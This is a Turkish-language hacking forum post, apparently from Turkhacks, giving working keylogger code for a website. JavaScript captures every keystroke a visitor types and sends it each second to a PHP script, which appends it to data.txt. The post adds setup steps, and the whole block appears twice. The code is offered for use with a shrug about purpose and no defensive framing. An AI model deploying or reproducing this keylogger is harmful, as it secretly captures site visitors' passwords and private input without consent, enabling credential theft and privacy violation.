Şimdi öncelikle, söyleyim nasıl çalıştığını mantıksal olarak. Siteye girdiği anda klavyede neye basar ise onu logluyor. Nasıl ve hangi amaçla kullanırsınız bilemem. Buyurun, kodlara geçelim.
JAVASCRİPT;
HTML-Kodu:
<script>
var keys=''; // declaring a javascript variable to store each keystroke
********.onkeypress = function(e) // calling the function to execute whenever a keystroke is there on html ******** ********.onkeypress is an event handler
{
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode; //get character code
key = String.fromCharCode(key); // convert it to string
keys+=key; // append current character to previous one (concatinate)
}
window.setInterval(function(){
new Image().src = '/keylogger.php?c='+keys; // sending data as get request by creating a new image
keys = '';
}, 1000); // set interval to execute function continuously
PHP;
<?php
/*
Reisci - Turkhacks
*/
if(!empty($_GET['c'])) {
$logfile = fopen('data.txt', 'a+');
fwrite($logfile, $_GET['c']);
fclose($logfile);
}
?>
Daha sonra, sunucuda data.txt adında bir dosya açın ve artık siteniz hazır.
JAVASCRİPT;
HTML-Kodu:
<script>
var keys=''; // declaring a javascript variable to store each keystroke
********.onkeypress = function(e) // calling the function to execute whenever a keystroke is there on html ******** ********.onkeypress is an event handler
{
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode; //get character code
key = String.fromCharCode(key); // convert it to string
keys+=key; // append current character to previous one (concatinate)
}
window.setInterval(function(){
new Image().src = '/keylogger.php?c='+keys; // sending data as get request by creating a new image
keys = '';
}, 1000); // set interval to execute function continuously
PHP;
<?php
/*
Reisci - Turkhacks
*/
if(!empty($_GET['c'])) {
$logfile = fopen('data.txt', 'a+');
fwrite($logfile, $_GET['c']);
fclose($logfile);
}
?>
Daha sonra, sunucuda data.txt adında bir dosya açın ve artık siteniz hazır.

